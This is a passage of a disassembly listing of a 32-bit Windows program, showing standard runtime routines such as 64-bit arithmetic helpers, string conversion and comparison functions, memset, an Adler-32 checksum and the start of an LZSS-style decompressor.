; ---------------------------------------------------------------------------


loc_4108C5:				; CODE XREF: sub_410810+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_410810	endp

; ---------------------------------------------------------------------------
		align 10h
		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+14h]
		or	eax, eax
		jge	short loc_4108F1
		inc	edi
		mov	edx, [esp+10h]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+14h], eax
		mov	[esp+10h], edx


loc_4108F1:				; CODE XREF: _3:004108DBj
		mov	eax, [esp+1Ch]
		or	eax, eax
		jge	short loc_41090D
		inc	edi
		mov	edx, [esp+18h]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+1Ch], eax
		mov	[esp+18h], edx


loc_41090D:				; CODE XREF: _3:004108F7j
		or	eax, eax
		jnz	short loc_410929
		mov	ecx, [esp+18h]
		mov	eax, [esp+14h]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+10h]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41096A
; ---------------------------------------------------------------------------


loc_410929:				; CODE XREF: _3:0041090Fj
		mov	ebx, eax
		mov	ecx, [esp+18h]
		mov	edx, [esp+14h]
		mov	eax, [esp+10h]


loc_410937:				; CODE XREF: _3:00410941j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_410937
		div	ecx
		mov	esi, eax
		mul	dword ptr [esp+1Ch]
		mov	ecx, eax
		mov	eax, [esp+18h]
		mul	esi
		add	edx, ecx
		jb	short loc_410965
		cmp	edx, [esp+14h]
		ja	short loc_410965
		jb	short loc_410966
		cmp	eax, [esp+10h]
		jbe	short loc_410966


loc_410965:				; CODE XREF: _3:00410955j _3:0041095Bj
		dec	esi


loc_410966:				; CODE XREF: _3:0041095Dj _3:00410963j
		xor	edx, edx
		mov	eax, esi


loc_41096A:				; CODE XREF: _3:00410927j
		dec	edi
		jnz	short loc_410974
		neg	edx
		neg	eax
		sbb	edx, 0


loc_410974:				; CODE XREF: _3:0041096Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h

; =============== S U B	R O U T	I N E =======================================



sub_41097A	proc near		; CODE XREF: sub_410A05+4p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_410982:				; CODE XREF: sub_41097A+34j
		cmp	ds:dword_4245DC, 1
		jle	short loc_41099A
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_410C5F
		pop	ecx
		pop	ecx
		jmp	short loc_4109A9
; ---------------------------------------------------------------------------


loc_41099A:				; CODE XREF: sub_41097A+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, ds:off_4243D0
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_4109A9:				; CODE XREF: sub_41097A+1Ej
		test	eax, eax
		jz	short loc_4109B0
		inc	edi
		jmp	short loc_410982
; ---------------------------------------------------------------------------


loc_4109B0:				; CODE XREF: sub_41097A+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_4109C0
		cmp	esi, 2Bh
		jnz	short loc_4109C4


loc_4109C0:				; CODE XREF: sub_41097A+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_4109C4:				; CODE XREF: sub_41097A+44j
		xor	ebx, ebx


loc_4109C6:				; CODE XREF: sub_41097A+7Bj
		cmp	ds:dword_4245DC, 1
		jle	short loc_4109DB
		push	4
		push	esi
		call	sub_410C5F
		pop	ecx
		pop	ecx
		jmp	short loc_4109E6
; ---------------------------------------------------------------------------


loc_4109DB:				; CODE XREF: sub_41097A+53j
		mov	eax, ds:off_4243D0
		mov	al, [eax+esi*2]
		and	eax, 4


loc_4109E6:				; CODE XREF: sub_41097A+5Fj
		test	eax, eax
		jz	short loc_4109F7
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_4109C6
; ---------------------------------------------------------------------------


loc_4109F7:				; CODE XREF: sub_41097A+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_410A00
		neg	eax


loc_410A00:				; CODE XREF: sub_41097A+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41097A	endp


; =============== S U B	R O U T	I N E =======================================



sub_410A05	proc near		; CODE XREF: sub_41DFF8+5Fp

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41097A
		pop	ecx
		retn
sub_410A05	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410A10	proc near		; CODE XREF: sub_41072E+A3p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421A88
		push	offset sub_4104E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	ds:dword_429048, edi
		jnz	short loc_410A86
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_421A80
		mov	esi, 100h
		push	esi
		push	edi
		call	ds:dword_421030	; LCMapStringW
		test	eax, eax
		jz	short loc_410A64
		mov	ds:dword_429048, ebx
		jmp	short loc_410A86
; ---------------------------------------------------------------------------


loc_410A64:				; CODE XREF: sub_410A10+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset dword_421A7C
		push	esi
		push	edi
		call	ds:dword_421040	; LCMapStringA
		test	eax, eax
		jz	loc_410B9E
		mov	ds:dword_429048, 2


loc_410A86:				; CODE XREF: sub_410A10+2Ej
					; sub_410A10+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_410A9B
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_410C34
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_410A9B:				; CODE XREF: sub_410A10+79j
		mov	eax, ds:dword_429048
		cmp	eax, 2
		jnz	short loc_410AC2
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_421040	; LCMapStringA
		jmp	loc_410BA0
; ---------------------------------------------------------------------------


loc_410AC2:				; CODE XREF: sub_410A10+93j
		cmp	eax, 1
		jnz	loc_410B9E
		cmp	[ebp+arg_18], edi
		jnz	short loc_410AD8
		mov	eax, ds:dword_429064
		mov	[ebp+arg_18], eax


loc_410AD8:				; CODE XREF: sub_410A10+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		call	ds:dword_42103C	; MultiByteToWideChar
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_410B9E
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_410D20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_410B33
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]


loc_410B33:				; CODE XREF: sub_410A10+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_410B9E
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		call	ds:dword_42103C	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_410B9E
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_421030	; LCMapStringW
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_410B9E
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_410BB2
		cmp	[ebp+arg_14], edi
		jz	loc_410C2D
		cmp	esi, [ebp+arg_14]
		jg	short loc_410B9E
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_421030	; LCMapStringW
		test	eax, eax
		jnz	loc_410C2D


loc_410B9E:				; CODE XREF: sub_410A10+66j
					; sub_410A10+B5j ...
		xor	eax, eax


loc_410BA0:				; CODE XREF: sub_410A10+ADj
					; sub_410A10+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_410BB2:				; CODE XREF: sub_410A10+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_410D20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_410BE6
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_410BE6:				; CODE XREF: sub_410A10+1C2j
		cmp	ebx, edi
		jz	short loc_410B9E
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_421030	; LCMapStringW
		test	eax, eax
		jz	short loc_410B9E
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_410C0D
		push	edi
		push	edi
		jmp	short loc_410C13
; ---------------------------------------------------------------------------


loc_410C0D:				; CODE XREF: sub_410A10+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_410C13:				; CODE XREF: sub_410A10+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		call	ds:dword_421038	; WideCharToMultiByte
		mov	esi, eax
		cmp	esi, edi
		jz	loc_410B9E


loc_410C2D:				; CODE XREF: sub_410A10+165j
					; sub_410A10+188j
		mov	eax, esi
		jmp	loc_410BA0
sub_410A10	endp


; =============== S U B	R O U T	I N E =======================================



sub_410C34	proc near		; CODE XREF: sub_410A10+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_410C51


loc_410C44:				; CODE XREF: sub_410C34+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_410C51
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_410C44


loc_410C51:				; CODE XREF: sub_410C34+Ej
					; sub_410C34+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_410C5C
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_410C5C:				; CODE XREF: sub_410C34+21j
		mov	eax, edx
		retn
sub_410C34	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410C5F	proc near		; CODE XREF: sub_41072E+46p
					; sub_41097A+17p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_410C7D
		mov	ecx, ds:off_4243D0
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_410CCF
; ---------------------------------------------------------------------------


loc_410C7D:				; CODE XREF: sub_410C5F+10j
		mov	ecx, eax
		push	esi
		mov	esi, ds:off_4243D0
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_410CA2
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_410CAB
; ---------------------------------------------------------------------------


loc_410CA2:				; CODE XREF: sub_410C5F+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_410CAB:				; CODE XREF: sub_410C5F+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_410D4F
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_410CCB
		leave
		retn
; ---------------------------------------------------------------------------


loc_410CCB:				; CODE XREF: sub_410C5F+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_410CCF:				; CODE XREF: sub_410C5F+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_410C5F	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [esp+8]
		mov	ecx, [esp+10h]
		or	ecx, eax
		mov	ecx, [esp+0Ch]
		jnz	short loc_410CF9
		mov	eax, [esp+4]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_410CF9:				; CODE XREF: _3:00410CEEj
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+8]
		mul	dword ptr [esp+14h]
		add	ebx, eax
		mov	eax, [esp+8]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_410D20	proc near		; CODE XREF: sub_410A10+FDp
					; sub_410A10+1B1p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_410D40


loc_410D2C:				; CODE XREF: sub_410D20+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_410D2C


loc_410D40:				; CODE XREF: sub_410D20+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_410D20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410D4F	proc near		; CODE XREF: sub_410C5F+5Ep

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421AA0
		push	offset sub_4104E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, ds:dword_42906C
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_410DBE
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_421A80
		push	esi
		call	ds:dword_421044	; GetStringTypeW
		test	eax, eax
		jz	short loc_410D9C
		mov	eax, esi
		jmp	short loc_410DB9
; ---------------------------------------------------------------------------


loc_410D9C:				; CODE XREF: sub_410D4F+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_421A7C
		push	esi
		push	ebx
		call	ds:dword_42102C	; GetStringTypeA
		test	eax, eax
		jz	loc_410E84
		push	2
		pop	eax


loc_410DB9:				; CODE XREF: sub_410D4F+4Bj
		mov	ds:dword_42906C, eax


loc_410DBE:				; CODE XREF: sub_410D4F+2Fj
		cmp	eax, 2
		jnz	short loc_410DE7
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_410DCF
		mov	eax, ds:dword_429054


loc_410DCF:				; CODE XREF: sub_410D4F+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		call	ds:dword_42102C	; GetStringTypeA
		jmp	loc_410E86
; ---------------------------------------------------------------------------


loc_410DE7:				; CODE XREF: sub_410D4F+72j
		cmp	eax, 1
		jnz	loc_410E84
		cmp	[ebp+arg_10], ebx
		jnz	short loc_410DFD
		mov	eax, ds:dword_429064
		mov	[ebp+arg_10], eax


loc_410DFD:				; CODE XREF: sub_410D4F+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		call	ds:dword_42103C	; MultiByteToWideChar
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_410E84
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_410D20
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_410EA0
		add	esp, 0Ch
		jmp	short loc_410E53
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi


loc_410E53:				; CODE XREF: sub_410D4F+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_410E84
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		call	ds:dword_42103C	; MultiByteToWideChar
		cmp	eax, ebx
		jz	short loc_410E84
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	ds:dword_421044	; GetStringTypeW
		jmp	short loc_410E86
; ---------------------------------------------------------------------------


loc_410E84:				; CODE XREF: sub_410D4F+61j
					; sub_410D4F+9Bj ...
		xor	eax, eax


loc_410E86:				; CODE XREF: sub_410D4F+93j
					; sub_410D4F+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410D4F	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_410EA0	proc near		; CODE XREF: sub_410D4F+EFp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_410EF3
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_410EE7
		neg	ecx
		and	ecx, 3
		jz	short loc_410EC9
		sub	edx, ecx


loc_410EC3:				; CODE XREF: sub_410EA0+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_410EC3


loc_410EC9:				; CODE XREF: sub_410EA0+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_410EE7
		rep stosd
		test	edx, edx
		jz	short loc_410EED


loc_410EE7:				; CODE XREF: sub_410EA0+18j
					; sub_410EA0+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_410EE7


loc_410EED:				; CODE XREF: sub_410EA0+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_410EF3:				; CODE XREF: sub_410EA0+Aj
		mov	eax, [esp+arg_0]
		retn
sub_410EA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_410F00	proc near		; CODE XREF: sub_4103E8+13p
		jmp	ds:dword_421034
sub_410F00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410F10	proc near		; CODE XREF: sub_41D36C+40p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		lea	eax, dword_42904C
		cmp	dword ptr [eax+8], 0
		jnz	short loc_410F63
		mov	al, 0FFh
		mov	edi, edi


loc_410F2C:				; CODE XREF: sub_410F10+28j
					; sub_410F10+48j
		or	al, al
		jz	short loc_410F5E
		mov	al, [esi]
		inc	esi
		mov	ah, [edi]
		inc	edi
		cmp	ah, al
		jz	short loc_410F2C
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		xchg	ah, al
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		cmp	al, ah
		jz	short loc_410F2C
		sbb	al, al
		sbb	al, 0FFh


loc_410F5E:				; CODE XREF: sub_410F10+1Ej
		movsx	eax, al
		jmp	short loc_410F97
; ---------------------------------------------------------------------------


loc_410F63:				; CODE XREF: sub_410F10+16j
		mov	eax, 0FFh
		xor	ebx, ebx
		mov	edi, edi


loc_410F6C:				; CODE XREF: sub_410F10+68j
					; sub_410F10+80j
		or	al, al
		jz	short loc_410F97
		mov	al, [esi]
		inc	esi
		mov	bl, [edi]
		inc	edi
		cmp	al, bl
		jz	short loc_410F6C
		push	eax
		push	ebx
		call	sub_41072E
		mov	ebx, eax
		add	esp, 4
		call	sub_41072E
		add	esp, 4
		cmp	bl, al
		jz	short loc_410F6C
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_410F97:				; CODE XREF: sub_410F10+51j
					; sub_410F10+5Ej
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_410F10	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410F9C	proc near		; CODE XREF: sub_411310+183p
					; sub_411310+361p
					; DATA XREF: ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		and	esi, 0FFFFh
		shr	edi, 10h
		test	ecx, ecx
		jnz	short loc_410FBE
		push	1
		pop	eax
		jmp	loc_4110B1
; ---------------------------------------------------------------------------


loc_410FBE:				; CODE XREF: sub_410F9C+18j
		cmp	[ebp+arg_8], 0
		jbe	loc_4110AA
		push	ebx


loc_410FC9:				; CODE XREF: sub_410F9C+107j
		mov	edx, 15B0h
		cmp	[ebp+arg_8], edx
		jnb	short loc_410FD6
		mov	edx, [ebp+arg_8]


loc_410FD6:				; CODE XREF: sub_410F9C+35j
		sub	[ebp+arg_8], edx
		cmp	edx, 10h
		jl	loc_411079
		mov	eax, edx
		shr	eax, 4
		mov	ebx, eax
		neg	ebx
		shl	ebx, 4
		add	edx, ebx


loc_410FF0:				; CODE XREF: sub_410F9C+D7j
		movzx	ebx, byte ptr [ecx]
		add	esi, ebx
		movzx	ebx, byte ptr [ecx+1]
		add	edi, esi
		add	esi, ebx
		movzx	ebx, byte ptr [ecx+2]
		add	edi, esi
		add	esi, ebx
		movzx	ebx, byte ptr [ecx+3]
		add	edi, esi
		add	esi, ebx
		movzx	ebx, byte ptr [ecx+4]
		add	edi, esi
		add	esi, ebx
		movzx	ebx, byte ptr [ecx+5]
		add	edi, esi
		add	esi, ebx
		movzx	ebx, byte ptr [ecx+6]
		add	edi, esi
		add	esi, ebx
		movzx	ebx, byte ptr [ecx+7]
		add	edi, esi
		add	esi, ebx
		movzx	ebx, byte ptr [ecx+8]
		add	edi, esi
		add	esi, ebx
		movzx	ebx, byte ptr [ecx+9]
		add	edi, esi
		add	esi, ebx
		movzx	ebx, byte ptr [ecx+0Ah]
		add	edi, esi
		add	esi, ebx
		movzx	ebx, byte ptr [ecx+0Bh]
		add	edi, esi
		add	esi, ebx
		movzx	ebx, byte ptr [ecx+0Ch]
		add	edi, esi
		add	esi, ebx
		movzx	ebx, byte ptr [ecx+0Dh]
		add	edi, esi
		add	esi, ebx
		movzx	ebx, byte ptr [ecx+0Eh]
		add	edi, esi
		add	esi, ebx
		movzx	ebx, byte ptr [ecx+0Fh]
		add	edi, esi
		add	esi, ebx
		add	edi, esi
		add	ecx, 10h
		dec	eax
		jnz	loc_410FF0


loc_411079:				; CODE XREF: sub_410F9C+40j
		test	edx, edx
		jz	short loc_411088


loc_41107D:				; CODE XREF: sub_410F9C+EAj
		movzx	eax, byte ptr [ecx]
		add	esi, eax
		inc	ecx
		add	edi, esi
		dec	edx
		jnz	short loc_41107D


loc_411088:				; CODE XREF: sub_410F9C+DFj
		mov	ebx, 0FFF1h
		mov	eax, esi
		xor	edx, edx
		mov	esi, ebx
		div	esi
		mov	eax, edi
		mov	esi, edx
		xor	edx, edx
		div	ebx
		cmp	[ebp+arg_8], 0
		mov	edi, edx
		ja	loc_410FC9
		pop	ebx


loc_4110AA:				; CODE XREF: sub_410F9C+26j
		mov	eax, edi
		shl	eax, 10h
		or	eax, esi


loc_4110B1:				; CODE XREF: sub_410F9C+1Dj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_410F9C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4110C0	proc near		; CODE XREF: sub_411310+15Ep
					; sub_411310+33Cp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	[ebp+var_1C], ecx
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx
		mov	edx, [ebp+var_1C]
		mov	eax, [ebp+arg_8]
		mov	[edx+4], eax
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+arg_4]
		mov	[ecx+8], edx
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+arg_C]
		mov	[eax+0Ch], ecx
		mov	edx, [ebp+var_1C]
		mov	dword ptr [edx+14h], 0
		mov	eax, [ebp+var_1C]
		mov	dword ptr [eax+10h], 0
		mov	[ebp+var_10], 0
		jmp	short loc_411112
; ---------------------------------------------------------------------------


loc_411109:				; CODE XREF: sub_4110C0+65j
		mov	ecx, [ebp+var_10]
		add	ecx, 1
		mov	[ebp+var_10], ecx


loc_411112:				; CODE XREF: sub_4110C0+47j
		cmp	[ebp+var_10], 0FEEh
		jge	short loc_411127
		mov	edx, [ebp+var_1C]
		add	edx, [ebp+var_10]
		mov	byte ptr [edx+18h], 20h
		jmp	short loc_411109
; ---------------------------------------------------------------------------


loc_411127:				; CODE XREF: sub_4110C0+59j
		mov	[ebp+var_8], 0FEEh
		mov	[ebp+var_4], 0


loc_411135:				; CODE XREF: sub_4110C0:loc_411266j
		mov	eax, [ebp+var_4]
		shr	eax, 1
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		and	ecx, 100h
		test	ecx, ecx
		jnz	short loc_411169
		mov	ecx, [ebp+var_1C]
		call	sub_411280
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0FFFFFFFFh
		jnz	short loc_411160
		jmp	loc_41126B
; ---------------------------------------------------------------------------


loc_411160:				; CODE XREF: sub_4110C0+99j
		mov	edx, [ebp+var_C]
		or	dh, 0FFh
		mov	[ebp+var_4], edx


loc_411169:				; CODE XREF: sub_4110C0+88j
		mov	eax, [ebp+var_4]
		and	eax, 1
		test	eax, eax
		jz	short loc_4111BA
		mov	ecx, [ebp+var_1C]
		call	sub_411280
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0FFFFFFFFh
		jnz	short loc_411189
		jmp	loc_41126B
; ---------------------------------------------------------------------------


loc_411189:				; CODE XREF: sub_4110C0+C2j
		mov	edx, [ebp+var_C]
		mov	ecx, [ebp+var_1C]
		call	sub_4112C0
		mov	ecx, [ebp+var_1C]
		add	ecx, [ebp+var_8]
		mov	dl, byte ptr [ebp+var_C]
		mov	[ecx+18h], dl
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		and	ecx, 0FFFh
		mov	[ebp+var_8], ecx
		jmp	loc_411266
; ---------------------------------------------------------------------------


loc_4111BA:				; CODE XREF: sub_4110C0+B1j
		mov	ecx, [ebp+var_1C]
		call	sub_411280
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0FFFFFFFFh
		jnz	short loc_4111D0
		jmp	loc_41126B
